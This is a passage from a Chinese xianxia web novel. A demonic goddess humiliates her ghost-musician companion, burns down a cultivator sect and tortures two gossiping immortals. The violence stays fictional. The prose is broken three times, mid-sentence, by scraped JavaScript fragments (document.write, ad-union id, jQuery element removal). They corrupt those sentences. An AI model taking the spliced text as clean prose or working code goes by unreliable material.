他常常因为太专注而忘记身旁有人,再抬起头时,商羽徽不知去了何处,归来时或是一身朝露,或是一肩月华。 他是个耐得住孤寂的人,但望着商羽徽时,相盈有时会想到她的过去和未来。 仙族并不讲究亲缘,许多机缘巧合成仙的修士总会切断与凡尘的联系,血脉骨肉也是如此。 兴许初生之神特殊一些,漫漫长河没有阻断她与姐姐千万年的联系。 可相盈忍不住又想,若真如她所说,神女彻底消弭,这世间岂不是再也没有人会记得她的过去。 不被人记住的存在,还算是活过吗? 她已活了这样久,放眼六界竟没有几人还知晓她的故事,此事不能细想,令人悚然。 又一个沾着寒意归来的夜,商羽徽听到相盈这样问她:“没有神女,若是其余记得你的人全数消散,你 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 要如何呢?岂不是如同你没有来过这世间。” 若一切按照神女的计划,商羽徽没有提前复生,想来也是过于冷清了。 他不发脾性时,就会琢磨一些杞人忧天的事,敏感的天性驱使着他。 商羽徽目光幽邃地瞧了他许久,神蛇也昂起脑袋看向相盈。 “我不需要被世人铭记,”这是最直白的缘由,商羽徽拉起相盈的手,“相盈,你化为念灵是因为对抚琴尚有执念,可对我而言,活着就只是活着……与其担忧我的存在,不如想想其他人的安危,或是找些乐趣打发时间。” 这是她第一回叫他的名字,相盈眸色微动,看着两人半握在一块儿的手。 “不过,哪朝我改了主意,希望世人记住我,我会让四方大地不眠不休地燃起烈火,叫你们想忘了我都难。” 说完这番话,商羽徽还等相盈的回话,按照对方的恶劣性情,大约不会阻止她,还会叫她把火烧旺一些。 静谧深夜,她侧耳听了会儿,相盈依旧缄默。 商羽徽狐疑地打量他,发觉他还在看着两人握在一起的手。 她不知这有什么好看,将手抽离,相盈无法阻止。 他有些后悔自己从不修炼,虽说修炼也无用,不过至少在这些小事上是否也能定夺? “早知修为如此重要,我就该勤勉些。” 商羽徽打消了他的念头:“你已跟在我身边,若还刻苦修炼,岂非显得我无能?到时候丢的不是你的脸,是我的颜面。” 她又摸了摸他的面颊,难得的轻柔,似在安抚一只宠物:“更何况,修行艰辛,你这样小心眼又细皮嫩肉,吃不了苦。还是做些漂亮的事吧,弹琴奏乐、或是插花烹茶,都比修炼好。” 相盈本欲反驳并不是为了变强才修炼,话至嘴边又惊了一瞬,没有说出口。 不是为了变强是为了什么?仅仅为了能让她不要将手抽离。 这太可笑了。 他怔怔想着,心口却直跳,奇异的想法,让他尝到些许难堪和不甘的滋味。 商羽徽误以为他被说服,褪去外裳就躺到了床榻上,向夜色中的少年伸手,示意他也躺上来。 二人共同入睡的次数极少,一个鬼与一个魔,都无需入眠,除非商羽徽实在乏力,需要休憩,才会让相盈躺在她身边。 相盈对同塌而眠,已不像之前那样抵触,他仍在想先前的事,对心境的转变不可置信。 他立了会儿,缓缓坐到床边,好像有问不完的问题。 “那你如今想做什么?” 相处这些日子,他还是头一回有这么多疑问、想知道她更多。 少年坐在床边,一节清瘦的手腕撑在床沿,腕骨凸起,能瞧见腕间青筋。 月华之中,他的发被风吹起几缕,面颊上不再是以往的倨傲冷淡。 商羽徽:“你真想知道?” 听她这样问,相盈生出一股不妙的预感,但他仍然颔首。 于是,商羽徽半撑起身子,一手支着下巴,对他道:“那你将衣裳脱了。” 9. 泪痕 寥寥数语,让相盈犹如被泼了盆冷水。 在此夜中,原先种种月下交谈,竟变得有些可笑和不知天高地厚。 商羽徽哪里知晓他脑中在想什么,见他一动不动,好心问:“怎么了?” 她是什么都不在乎,问起话来轻描淡写。 相盈也不知自己在恼什么,先回了一句:“不想脱。” “为什么?”商羽徽不曾动怒,只是问他,“你不好意思?” 为什么?二人聊得好好的,她陡然让人脱衣,平白毁了彼此了解的时机,他还想问问为什么。 难不成他问的那些话,她根本没往心里去? 相盈的心中同时浮现出种种疑问,只凭本能与商羽徽说话。 “有些恶心。” 他做鬼时无意间撞破过旁人的床笫之欢。 白花花的肉.体纠缠,没了斯文与理智,汗津津的肢体黏腻在一块儿,就好似在彼此的身躯上生了根,他看了简直作呕。 一想到当日情景,相盈仍有些后悔,面露惨色。 商羽徽看在眼里:“怎么恶心?我恶心?” 她说:“只不过是脱几件衣裳,从前民智未开,多得是衣不蔽体之人。” 相盈真希望她不要再问,这样还能让他清明一些,想清楚先前种种。 他摇头:“我并非说你。只是……不习惯脱衣裳给人看着,实在是……” 呢喃的话语没了下文,商羽徽没再哄他,已坐起身子,让神蛇缠住了相盈。 少年男鬼,腰身细薄,蛇尾圈住一圈还绰绰有余。 但这不足以让他回神,相盈仍然沉浸在疑虑中。 商羽徽正色道:“我不爱强迫旁人。” 她自上而下将他打量,见相盈的神情很怪异。 那不是抗拒,更像是一种愤怒与不悦…… 僵持半晌,相盈终于抬了抬下巴,望向商羽徽。 他唇线紧绷,目中冰冷,像是回到了初到栖云城时的模样。 屋里本就没有掌灯,只能借着月华看他暗中的剪影,蒙蒙深色里,他的脸庞与身躯若隐若现。 相盈伸手,褪去了最外层的衣衫。 他的许多习性与商羽徽接近,对多数事物都很不讲究,衣物也是如此。 只不过是一件羽色的外袍,再简朴不过,叫他穿出不一般的风情。 细长的手指将衣衫解落于地,簌簌声响,似在奏曲。 见他这般视死如归的神情,商羽徽叹气:“你这是做什么,我又不会杀了你。” 都不用她动手,相盈此刻已想一根白绫吊死。 但他本就是鬼,已死过一回。 他仍旧缄默,手摸到中衣,却无论如何也脱不下去了。 神蛇松开了他的腰,盘旋在窗台,和商羽徽一同用幽冷的竖瞳望着他。 商羽徽见他这副泫然欲泣的模样,心也软了几分:“从前没有这些世俗伦常,你实在是想太多。” “旁人不穿,你看旁人好了。” 他一生气就要说些不阴不阳的话,商羽徽诚恳回答:“他们没你好看。” 言下之意,此刻有个更好看的人出现在这房里,她就懒得正眼瞧他了? 相盈不知自己是喜是怒,借着这股会儿就将浅碧色的中衣一同褪去。 他穿衣裳很严实,束得很紧。 一旦没了这一层,就只剩下透白的雪色里衣。 又因他消瘦,没了那一层贴身的束缚,里衣很快就松落下来,领口微微敞着,露出些锁骨,从他的衣物上飘出些淡淡的香味。 本以为他脱里衣又要磨蹭许久,但相盈仅仅犹豫一瞬,就将最后柔软一件也解落于地,白皙精瘦的身躯在夜色中就像一块莹玉。 相盈没再等商羽徽说别的,就这样躺到了床榻上,合上小被,紧闭双目。 许久,他只听见商羽徽一同躺下的动静,她就在他身旁,伸出手抱着他,微有些冷意,相盈忍不住颤栗。 他屏息等待,却不见商羽徽进一步的动作。 “……你不是要我脱衣裳么?” 商羽徽:“是啊。” 相盈被她的态度又哽住一瞬:“然后呢?” 她不仅抱着他,还拍了拍他的肩膀:“歇着吧,我外出一趟,很是疲惫。” 睡觉?让他脱衣裳,只不过是睡觉。 他好不容易说服自己,原来只是自作多情,她只不过想要个剥了壳的鸡蛋,摸着光滑一些更好睡觉。 那他脱衣裳时的丑态又算什么? 相盈愣怔着,望着头顶的漆黑,这回真是恨不能当场死了,白绫吊死或是一头撞死都比此时此刻躺在这里更好。 再想到先前那番谈话,他更觉自己可悲,还道是可以更了解她,更接近她。 恐怕她打心眼里,只认为他不配吧? 商羽徽不知他心中所想,本在闭目养神,睡得好好的,察觉到手臂上的湿意。 她的手放在相盈肩头,滴落在手背上的是什么? 屋里一下亮起了火苗。 商羽徽坐起身看自己手背,一滴泪珠正滑出泪痕。 她顿感莫名,转眼去看相盈,只见他双唇紧抿,绮丽的眼尾时不时滚落泪水,哭成这样却没出声,似在忍耐屈辱。 商羽徽用指腹拭去他眼尾的湿润,见他哭成这样,不由话语轻柔:“你哭什么?” 相盈不答,只是咬了咬嘴唇:“你杀了我吧。” 商羽徽心底骂了句有病,问:“好好的,怎么要寻死?” 相盈说不上来,只觉着一口气闷在胸口,侧过脸不去看她,巴不得激怒她,给自己一个痛快。 过去数月,商羽徽见过不少人因为怕死而恳求她,还未见过要主动寻死的,更何况她自认为待相盈很好,他怎么还活不下去? 见他这番模样,商羽徽哪里想得起动怒,只有满腹狐疑。 缓了好一阵,相盈裹着薄被,半撑起身子。 柔软的青丝,遮住他大半张脸,仅露出的侧脸的下颌线条柔美。 商羽徽忍不住用手撩起他的头发,看清楚他流泪的面容,就见相盈又张了口:“你把我当什么?既是休憩,何必叫我将衣裳脱了。你明知我不愿,看我……看我那样……” “别哭了,”商羽徽说完,见他眉目凄然,我见犹怜,又改口,“还是哭吧,哭得好看些。” 也就这几句话,真能把相盈气得晕厥。 他一生好琴,待人温和疏离,仅有的大喜大悲都是因死前不能继续与琴音相伴,他自己都没料到,有朝一日多动些心思,能将自己的气个够呛。 偏偏他并没有任何立场去责怪商羽徽,他一早就知晓她与他不过是露水相逢,她演腻歪了,他功成身退就是。 何需动气?何需放心上? 如此明了清晰的道理,相盈第一日就想清楚,到今夜又拿出来安抚自己。 偏偏这不能骗过自己,相盈惯是个有了念头就必须得掰扯清楚的性情,谱琴不能有一个错音,做人更当如此。 他很清楚,心底这般难受,是因先前那些自作多情的念头让他为自己不耻。 这是商羽徽的错么?怪不到她身上,凡是与她见过面的,谁不知她的脾性。 分明是自己作茧自缚…… 想明白这点,相盈不认也得认了,胸口的窒息感褪去些,但面对商羽徽,她的从容更衬得他急不可耐,让他情不自禁将悄然生起的幼苗变为怨恨。 他毫不掩饰,开口道:“你将我抢来,只是为了随意玩弄,当初换了旁人,你一样也带回去了。” 又说:“你这是逼我恨你。” 商羽徽却摇头:“这怎么谈得上玩弄,叫你脱个衣裳你都哭成这样,我若真玩弄你,你岂不是要自戕?” 她平素不爱听旁人说恨她讨厌她,听了总要生怒。 不过眼前少年说恨她时,湿着睫羽,面庞上有几分以往难以见到的红晕。 她不怒反笑,还大作鼓励:“恨吧。” 听明白二人说的玩弄根本不是一回事,相盈又被噎得说不出话,原本到嘴边的话都咽了回去。 他缄默:“罢了。” 没了他的幽怨,商羽徽难得动了些心思去琢磨他的怨气为何而来。 一旦猜测到是他自己想多了,事情就好办不少。 灯又灭了,尚在平复心绪的相盈,被商羽徽重新抱住。 他不着寸缕,那冷感缠绕而上,可他已发过脾性,不想再争执一遍,只当不曾感受到。 直到那只手在他身上游移,宛若一条冰冷的蛇在他身躯上摸索,相盈转过身,与商羽徽面面相觑。 “你做什么?”他欲要崩溃。 商羽徽眨眼:“你是不是怨我,让你脱了衣裳还不碰你?” “……”相盈无力辩驳,她说得本就没错。 他不反抗,商羽徽也没怎么逗他,只不过是摸了摸他的锁骨和胸前,用指背抵着蹭了会儿,手感不错。 她很想告诉相盈,自己不仅没有想跟他做别的,甚至都没把往那方面想。 不同的人总是有不同的相处方式,她跟从前的爱宠可以,跟相盈还是不必了。 他哭起来的模样真让商羽徽明白何为梨花带雨,看在此事上,她可以容忍他的古怪性子。 收回手,商羽徽轻声:“你不笨,心里清楚要怎么做才是对的。我知你根本不怕死,但若真的令我不快,我多得是办法折磨你。” “许多时候,死是一种我赐予旁人的解脱,而非惩戒。” 她要怎么折磨他?相盈顺着发问往下想,面颊上的泪早已干了,他终于安静。 这一夜总算安然过去。 商羽徽对眼前的世界有了改观,她本以为这里并无多少变化,没想到终究是她不够了解。 方杜前来禀告空桑的踪迹,商羽徽心不在焉,问了一句:“这些人怎么这样奇怪?” 被打断的方杜不明所以:“何人奇怪?” 商羽徽没提相盈,她想了好一阵,道:“从前我若要抓些美人来,给他们一口饭吃、再给几件衣裳穿,他们就感恩戴德了。” 饿不死也冻不死,还有了强大的庇佑,若为自由之说控诉她也就罢了,相盈这般又是为何,商羽徽当真困惑。 她不提,方杜也想到相盈了,跟着附和:“不过是不知好歹的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 男鬼,不必放心上。” 放心上不至于,商羽徽只觉大开眼界,相盈固然貌美有趣,但实在算不上听话。 不听话的人留在身边,是个隐患。 方杜此次前来,是为了汇报空桑的近况。 魔尊果真痴情,受挫之后毫不气馁,仍然在四海八荒寻找天灵珠的碎片,想挽救爱人。 方杜说起这事也很感慨:“丹荣与神女相似,我也忍不住多看几眼。不过那日,您说她与神女毫无干系,空桑原本很痛苦,他独自与丹荣聊了半盏茶的功夫,再出来时,也不得不确信那女仙并非神女。” “他说他不屑睹物思人,从那往后再也不曾前去海角崖。” 魔尊拿得起却放不下,但也不屑将旁人为替代,这一点,方杜替那名叫丹荣的女仙松了口气。 她不知丹荣与商羽徽的牵扯,说完此事,才意识到商羽徽的神情不大美妙。 “丹荣呢?可有做什么?” 方杜没有监视丹荣,迟疑:“空桑不曾对他们做什么,丹荣亦不曾受影响,不过,她似乎随着师门搬离了。” “就因为我与空桑随后去了连水宗?” 方杜一时之间不知如何开口,旁敲侧击:“与丹荣无关。您还记得连水宗的宗主,那位小仙被您抓紧去,又放出来了吗?” 又提起此人,商羽徽有些印象。 “据说是……因他被您抓走,海角崖其余的几大宗门都暗地里……议论他们。”方杜带着恐惧将这番话说完,担忧商羽徽会大动干戈。 仙族远没有表象上的其乐融融,在商羽徽看来,神与仙都只不过是多了些法力的凡人,欲望比凡人更甚。 除了另辟蹊径的佛修,她从不认为神仙比凡人特别。 她道:“能够在我身边活着回去,恰恰证明他强得很,旁人有什么可议论?” 方杜谄媚:“小仙无知。” “这不是无知,而是恶意。”商羽徽言之凿凿,丝毫不在乎源头是因她将那仙人掠走,哀痛道,“怎么能如此曲解?” 一旦她感到不悦,自不会多等,不多时就已到了海角崖。 上回来时,还带着相盈眺看云雾,今日没了兴致,商羽徽化作仙人打扮在山道上驻足,见连水宗果真人去楼空,只得叹气。 须臾,身后传来两位男子的呼喊声:“这位小仙,你是哪个门派的?” 商羽徽转身,见来者一白一蓝,都是仙者打扮,随口编了一句:“我先前在扶桑洲修炼,近日随着师门四处漂泊。” 两仙早已听闻扶桑洲被妖魔占据之事,又见眼前的女子虽模样略有怪异,却不见魔气和妖气,不做他想,只问:“你在连水宗门口做什么?” “我与宗门的丹荣小仙在扶桑洲相识,本想来探望呢。”商羽徽说得有鼻子有眼,听着很是可信。 听了她的答复,两仙相视一笑,白衣人道:“丹荣啊,她已与那宗主搬走,恐怕不会回来。” 商羽徽故作疑惑:“为何搬走?好生突然。” “还能是为何?”蓝衣人冲她挤眉弄眼,鄙夷道,“他们那宗主被前段时日复生的天魔抓走,据说那城里死了不少人,偏偏他好好活着回来,谁知晓用了什么手段?屈于天魔,怎么还敢以仙者自居,我若是他,宁死不从!” 他大义凛然的模样把商羽徽逗笑了:“当真?可我听说那天魔放了不少人回去,指不定他什么也没做,只是走运。” 白衣人告诉她:“若只是安然无恙回来,还证明不了什么。不过……就在半月前,我们可是听说,那魔尊空桑与天魔先后去了连水宗,一个人都没杀,似是去探望。” “你说说,那天魔所到之处血流成河,怎么偏偏放过他们?” 他的话让商羽徽深受点拨:“言之有理。你们出自哪个宗门?” 二人对商羽徽并无防备:“易流宗,就在山脚下。” 他们倒是热情,自报家门后,还邀请商羽徽前去喝茶。 问及她的名字,商羽徽也不说谎,自报家门,只可惜六界之人只知天魔身份,却不知其名。 商羽徽欣然应下邀约,漫不经心走在两男身后,想着一会儿要怎么动手,耳边是两人的谈话。 只不过,他们并非在议论那宗主,而是提起了丹荣。 “我只可惜往后也瞧不见丹荣仙子。” “丹荣美则美矣,性情像个呆木头……” 嬉闹一番,白衣仙人道:“可她修炼得倒很快,入宗门还不曾有五年,真是老天无眼,我等修行多年,险些就要被她赶上。” 二人行至半路,已隐约可见宗门前的巨石,口中还在议论连水宗的事,倏然间步履不知被什么绊住,好似足底生根,动弹不得,寒意也在顷刻袭来。 惶然间,低头望去,脚边不知何时缠上赤色蛇尾。 白衣仙人还道是出了幻觉,弯腰查看。 “海角崖何时有过这种蛇?” 海角崖生灵种类不多,因在一个小岛旁,多是水蟒之类的生物,此类朱砂色的小蛇,二人从未见过。 “羽徽仙子,你……”白衣人转身,本想问这几条蛇是否为她的仙宠,却见身旁已没了那女仙踪影。 10. 自愿 海角崖只不过是个小岛,几个宗门都相距不远,一旦出了什么事,四周的人立刻就会察觉到,往来也多是熟人面孔。 易流宗的宗主起初不认识眼前女人是谁,直到火光围住了整个宗门,又见她既无仙气,也无魔气,出手却如此狠辣,他的心中才有了不可思议、又实在困惑的猜测。 商羽徽仍做仙人打扮,羽衣玉冠,从容独立于庭院之中。 漆黑的眼望着庭院里来回施法的弟子,时不时露出点星笑意。 宗主问她:“阁下的身份,想必是前些时日从四境山复生的天魔……” 商羽徽瞥了他一眼:“不错。” 得到答复,宗主莫名:“此地与扶桑洲来往极少,也不问世事,不知哪里让您不快?” 一旁年轻弟子不知商羽徽的来历,护到宗主身前:“和这妖女费什么话!岂有这般道理。” 他如此失言,宗主自知后果,赶忙求情:“他不知你的身份……” 商羽徽面露了然:“不知者无畏,我自然不会怪他。” 见她竟格外好说话,宗主不禁又问:“不知您大驾光临,所为何事?何须要引起这些大火……” 灼热的火苗缓缓往里吞噬,任凭众人如何施术也无法浇灭,双方无冤无仇,就是要杀人寻乐,也不至来到这偏远之地。 “耳闻曲意琅神女是你故去的姐姐,神女一向仁慈,不会想见到这般情形。” 听他这样说,商羽徽定定望着他,微笑后轻描淡写道:“你不与扶桑洲往来,消息倒很灵通。” 她虽以天魔的身份复生,却少有人知晓她与曲意琅的关系,若不是方杜与空桑传出,就是当初那群在场的仙门弟子将揣测的流言散播。 宗主赔笑道:“都是传闻。” “不错,你们果然很爱议论是非。”商羽徽来回踱步,“你可知晓,姐姐曾让我多多学习凡仙身上的智慧,她不许我心高气傲。” 青女不止一次提过,足底这片土地,终究归凡人所有,再不起眼的人,说不准亦有了不起的才智。 商羽徽接着说:“先前我遇到你门中两个弟子,他二人说,凡是我踏足之处,无不是血流成河。我不过是采纳了他二人所言。” 外出的弟子仅有两个,宗主目中晕眩,勉力道:“两个蠢货,竟敢妄议您,只不过是愚言,不值动怒,他二人大可任您处置。” 兴许是她谈吐过于随和,让这宗主误以为仍有一线生机。 商羽徽未曾戳破他的妄想,只问:“你可认得连水宗的女仙丹荣?” 海角崖总共几个门派、多少位修士,掰着手也数得过来,宗主绝无不认得的道理:“丹荣?自然知道。” “她是如何去到了连水宗?” 这事在海角崖亦不是秘密,宗主答她:“她那师姐浮静四处游历时,见丹荣被抛弃在山野之中,据说是因她未曾修炼也自得几分法力,异于常人,乡民误以为她是妖怪,要将她活祭。浮静仙子于心不忍,将人带回。” 他心道竟是为了丹荣前来,只是想问些话,何必引起这般烈火? 商羽徽顺着他的目光往火苗望去,叹了口气:“原是如此。” 她抬起手腕,不是挥退火焰,而是让火光直冲云际,在众人惊恐愤恨的目光中,商羽徽不再多言,化形离去。 山坡之上,两个弟子仍被红蛇困在原地,他们眼睁睁看着宗门被烈火烧蚀,却无能为力,只能肝胆俱裂地呼喊着同门弟子的名字。 商羽徽带着魔气化形而出:“别吵了,他们一个都活不了。” 她前后态度所去甚远,两男仍不明白发什么何事,商羽徽好心提醒:“不是你二人说的吗?凡我所到之处……” “你!你是!”白衫男人猛然醒悟,伸手指向她,“你就是那魔头……” 商羽徽割下那只举向自己的手,不顾二人惨叫,将人带回了扶桑洲。 回时,四周一片寂静,听不见琴声,这不像相盈的作风,商羽徽将两人扔在地上,正要询问几个小妖,抬眼一瞧就见相盈独坐于窗前。 他原本一只手按着琴弦,冷着脸走神,听见动静,抬眸望向商羽徽。 见她带着两个男人回来,相盈起身走到院中,观察二人。 二人如此样貌,相盈沉默一瞬,转而问向商羽徽:“怎么将他们带回来?做了何事?” “你真懂我。”见他还算懂事,没有误会她,商羽徽走到他身旁,和他一同看着地上狼狈的二人。 “他们惹了我,若是轻易叫他们死了,实在太可惜。” 相盈看着两个仙者,见二人满面惊慌不安,目光似是在向他求助。 他冷笑一声,不动声色地移开眼。 能叫商羽徽说出这般话倒是不容易,相盈见过商羽徽杀人,大多没什么缘由,一时兴起就夺走人的性命,此类事不在少数。 拿不准主意,相盈询问:“你要如何?” 商羽徽半俯下身,有了定夺:“我早知人性如此,妄议他人不是你们的错。” 两男仍然惊恐地看着她。 “我要拔出你们的舌头,叫你们往后不敢再犯。” 拔舌之邢自古有之,相盈好整以暇地看着商羽徽,似在请教学习。 与他所想不同,只见得商羽徽伸手抓起一人的头颅,从中抽出一缕银线,对方登时没了知觉,双目无神,舌头耷拉在外,丑陋又可怖。 舌尖上燃起火苗,一刻不停地燃烧。 相盈捂了捂口鼻。 另一人也如法炮制,事毕,商羽徽丢去二人的银丝,相盈问了一句:“这是何物?” 她别有深意地回他:“你不会想知道。” 没有得到答案,相盈也不曾继续追问。他只是说:“我还以为,你要把他们的舌头整根拔出。” 商羽徽和他讨论:“拔出来只是痛一时,修仙者寿命漫漫,也该多承担几分痛苦。” 相盈又观察了一眼,见那二人仿佛听不见外界交谈,若有所思:“你剥夺了他们思考?” 她只说:“他们不需要这些。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 两人站在庭院中,对着受刑之人商讨,相盈察觉到不妥,回身到房里。 他已对着琴发呆半晌,怎么也下不去笔,无法谱出新的曲子。 商羽徽将他的沉思看在眼中,不再上前,吩咐几个小妖怪将两个仙者关起来。 小妖怪斗胆提问:“魔主,此处并无牢房,关押到何处是好?” 入目所及唯有一整片平原与荒林,并未留出大牢,难道要他几人再建一座刑狱? 不是不愿,而是有心无力。 面对他们的称呼,商羽徽已无心纠正,她察觉到此处的确少了些什么,遂抬手掀起泥沙,挖出个昏暗无光的水牢。 关押旁人这种事,小妖们做得轻车熟路,想必魔宫之内类似的事屡见不鲜。 更有甚者向商羽徽提议:“魔主法力无边,水牢也该得大一些,往后好继续往里头塞人。” 可哪来这样多的人能激怒她?多数都是当场神魂俱灭,商羽徽稍作思索就回了他的话。 相盈仍在出神,既未奏琴,自然将他们的谈话听入了耳中。 他今日已不似昨夜那般胡搅蛮缠,商羽徽多瞧几眼,忍不住叹气。 她拥有这世间无双的法力,却时不时流露出忧心忡忡的模样,尤其是自从在海角崖见了那丹荣女修之后。 相盈不想再多管闲事,只得在脑中控制自己的思绪。 不料,商羽徽却主动问他:“你化为念灵,只为了奏琴,这些年过得如何?” 问及此事,相盈望着琴身,温柔道:“我心中有所求,能长久做此事,西地又有百姓慕名而来,很是满足。” “倘若……”商羽徽疑惑,“倘若你不能弹琴,也没了指望,再与天同寿,岂不是成了折磨?” 相盈应声:“我猜应是如此,可我只是念灵,若没了这份执念,我活不久,不必杞人忧天。” “杞人忧天?”商羽徽笑了一笑,“我此刻就能渡给你法力,你想杀谁就杀谁,再也没有性命之忧。” “代价是你不能弹琴,往后无论做什么事,都要由天意指引,再也没有私念,你可情愿?” 他已听得很明了,相盈摇头:“我不愿,若连这些自由也没有,法力成了桎梏。” 屋内静了几刻,商羽徽陡然转过脸,向着窗边的相盈拧眉。 “废物,”她斩钉截铁,认为他好赖不知,“我先前不愿你修炼,原来是我多虑。” “你不懂得拥有法力是什么滋味,才会口出狂言拒绝,一旦你知晓生杀在握的快感,就不会再说出这种话……难怪这样弱,实在没半点志气。” 知她心情不悦,被她骂了,相盈也不动怒,只皮笑肉不笑地回了句:“我管那样多做什么?杀人不适合我。” 商羽徽走到他身边,抚摸他的脸庞,语色轻蔑:“你如今在我身边,怎么算自由?” 相盈将脸主动在她掌心蹭了几回,气定神闲地回她:“我所求的,不过就是弹琴。什么修行、法力,与我无关,做一个弱者,是我自愿。” 11. 优罗山 商羽徽面对他主动蹭上来的行为甚是满意,不过这不像讨好,而似一种莫名的挑衅。 精致旖丽的脸庞上非但没有缓和的讨巧之色,反倒沾着些冷意。 此刻抬眸瞧着她,目中媚色宛若一江春水延至他的眼尾,又变为无声的询问。 她既不会碰他,又能拿他如何呢? 商羽徽心中了然,没跟他一般见识,只是站在窗边,想起了丹荣。 这桩陈年往事,她不太乐意回想,也曾多次忘却。 二人一同坐了会儿,谁也不曾开口,直到商羽徽从思绪中回神,见相盈如以往一般不知在琴谱上写什么,暗道这才像话。 临近傍晚,方杜被商羽徽召回。 她在来时的路上,已听闻海角崖易流宗之事,被大火烧成一片废墟,连周遭门派也不曾放过。 杀伐果决,毫无手软,这正是方杜心心念念的大魔头作派,一时之间对商羽徽更为钦佩。 落地的几瞬,还未化形,恭维之声先一步传来:“主上英明!主上神武!” 方杜又想起自己的羽翼近乎完成蜕变,由衷感激道:“多谢主上再造之恩。” 商羽徽不差这几句恭维,见方杜功体将要大成,出言提醒:“涅槃之痛非同小可,你有所准备为妙。” 一只渡鸦竟能效仿神兽凤凰涅槃,方杜喜极而泣之余,请教道:“我能做些什么?” “……”商羽徽哑然,“受痛即可。借你神力助你修行,本应是天理不容,旁人无法替你分担。” 方杜似懂非懂,仍旧感激:“能够得此修为,我已知足,受痛也是应当的。” 自古以来,违背天理而修行禁术,少不得要承担代价,方杜甘愿交换。 见她这般自喜,商羽徽微笑之余,又不禁嗟叹:“若人人都能如你这般倒好了。” 方杜眨眼:“不费吹灰之力就能变强,谁会拒绝?” 她天性要强,只是实力不允许,更何况志向在此,接触的魔域子民想法也与她大差不差。 商羽徽答她:“今日我问相盈想不想变强,他避之不及。” 一听此事,方杜冷哼道:“一个男宠懂什么?早就看出他是个不识好歹的,陪着寻欢作乐就是,岂能当真给他修为?” 她原本还想继续说上两句,只是念及此鬼近来正得宠,骂他相当于骂主上,于是收敛几分。 “我不过是问他两句,不会真给他。”商羽徽并非言而无信,“他志不在此,整日弹琴就够了。” 有个英明的主上,方杜放宽了心,赞许:“他既然是念灵,想必是有了别的追寻,自然不必过问他。换作六界旁人,谁人不想借力起势,突破自己的境界?” 商羽徽岂会不知?她又叹道:“可惜她所求亦不是修为。” 听出她话中所指并非相盈,方杜识趣不再过问,话锋一转:“主上召我前来,所为何事?” 既有通天的法力,要召方杜归来,商羽徽确有要事:“自我醒来,你与空桑搜寻碎片已久,迟迟没有进展……” 她将话尾拖长了些,方杜误以为要问责,不由慌张:“空桑没日没夜地找,不曾懈怠。” “此事,我已另有打算。” 复生的那一刻起,她只感知到姐姐的消逝,自那以后,连半点气息也捉摸不到,这太过反常。 早就注意到这些,商羽徽本就对空桑不抱希望。 她行至窗边,只留一个背影给方杜。 窗外日头减沉,落至商羽徽的肩边,余晖融在她墨色的外袍之上,竟叫人看出几分萧瑟。 “这些年,青女都在各界,都做了什么?” 对于这些六界要事,方杜或多或少曾有耳闻:“神女……一向宽厚,福泽天下。不过,她多是留在仙族,教习旁人。” “若是天柱崩塌、地河涨潮,她亦会前去,绝不会对六界之事袖手旁观。” “如此说来,无甚稀奇之事?”商羽徽沉吟,“除了空桑。” 青女与空桑之间发生的事,商羽徽半信半疑。 如今找不到她的气息,想来个中蹊跷,还得从她身边之人问起。 见她思索不语,方杜实在不明:“主上为何执意寻到神女?神女不是亲手将您……” 她不清楚姐妹二人的恩怨,只知晓商羽徽复生时,头颅残缺,除了神女,还有谁能对她如此下手? 商羽徽露出怅惘之色,缓缓伸出手,摸到自己的脖颈间。 所触一片冰凉,她回忆起被砍去蛇首的滋味:“很痛啊。我怎能甘心再也见不到她?自然要寻到她,将她复生,再亲手将她剁碎。” 方杜不敢接话,只应声下去,称明日带空桑与商羽徽相见。 扶桑洲往来就这些人,转眼又是寂静之地。 相盈傍晚抚琴时,几个小妖前来旁听,他们不敢忘却使命,试图将相盈捧得高一些。 弦音初落,就有一人迫不及待开口:“好曲,比昨日更妙。” 另一人接话:“琴艺大有长进。” 少年只投来冷淡的眼神,显然不曾将这几个妖怪的话放在心上。 他望着自己的手,苍白清瘦,腕骨上一颗小小的痣。 指腹上有不少伤痕,从未好全过。 伸手拨弄几声琴弦,便听得小妖又道:“果真是好,比之魔域的琴魔奏得更好。” 外人只知魔域子民好战成性,未有人了解更多,相盈从未听闻过琴魔之名,停下奏琴的动作,终于开了口:“什么琴魔?” 小妖彼此对望,向他解释。 原来是魔域中一个断指琴师,因痴心琴技,自断修为,只在魔域的夜流河畔钻研音曲。 魔域子民好战尚武,难以苟同,明面上称他为琴魔,背地里唤人为琴痴。 相盈颔首,又问:“六界之中,其余琴师如何?” 音修并不多,小妖告知他:“仙族从前有一些音修,专精于此,只不过音律对修炼的加持有限,不比寻常功法,久而久之早已落寞。” 有此答复,相盈心中毫无意外。 不过,听闻琴魔此人,相盈在夜里向商羽徽道:“我想去一趟魔界。” 他的修为过于薄弱,商羽徽忍不住打量他,忍笑:“你去做什么?” 相盈将今日之事全盘说出,得知他并非发疯,而是又为了琴之一字,商羽徽答应他:“好啊,明日我也要去往魔域。” 她应下他的请求,相盈独坐在案边,脸色仍不大好。 之前要换琴弦时,商羽徽二话没说就带他一同前往。 以她的修为,前去魔域也不在话下,为何要问那一句? 想起那一晚她对他的告诫,相盈明白过来,这是商羽徽对他的一种暗示,只有听话的宠物才能享受她的耐心。 一夜无话,二人翌日一同前去魔域。 空桑出世之前,真正的魔域曾封印千年,魔族子民只能居宿于附近。 夜流河在魔域之中,犹如浊悬之于凡人的意义。 传闻中,夜流河的尽头直通虚空,刺骨的水流中沾染魔气,修为低下之辈一旦落入此河便会当场毙命。 自空桑以一己之力再入魔域,魔界子民对他万分敬仰,马首是瞻。 商羽徽与空桑约见在此,方杜已提前打点,警告魔族不许踏入夜流河畔,扰人清净。 夜流河作为魔域的命河,子民们十分爱惜,虔诚供养。 魔界中,其余地方总有森森白骨、尸首遍地的残冷之景,唯有河畔景观整洁,除了河水奔涌,就只剩下草丛簌簌作响。 得知商羽徽要见自己,空桑早已等候多时,他负手立于岸边,通身玄衣,眉宇之间满是煞气。 “天魔,”空桑开门见山,“你想见我,是有了她的下落?” 商羽徽松手,召神蛇陪在相盈身旁,而后独自走到空桑面前:“正因没有她的下落,才要见你,问问清楚。” “我的姐姐,待你如何?” 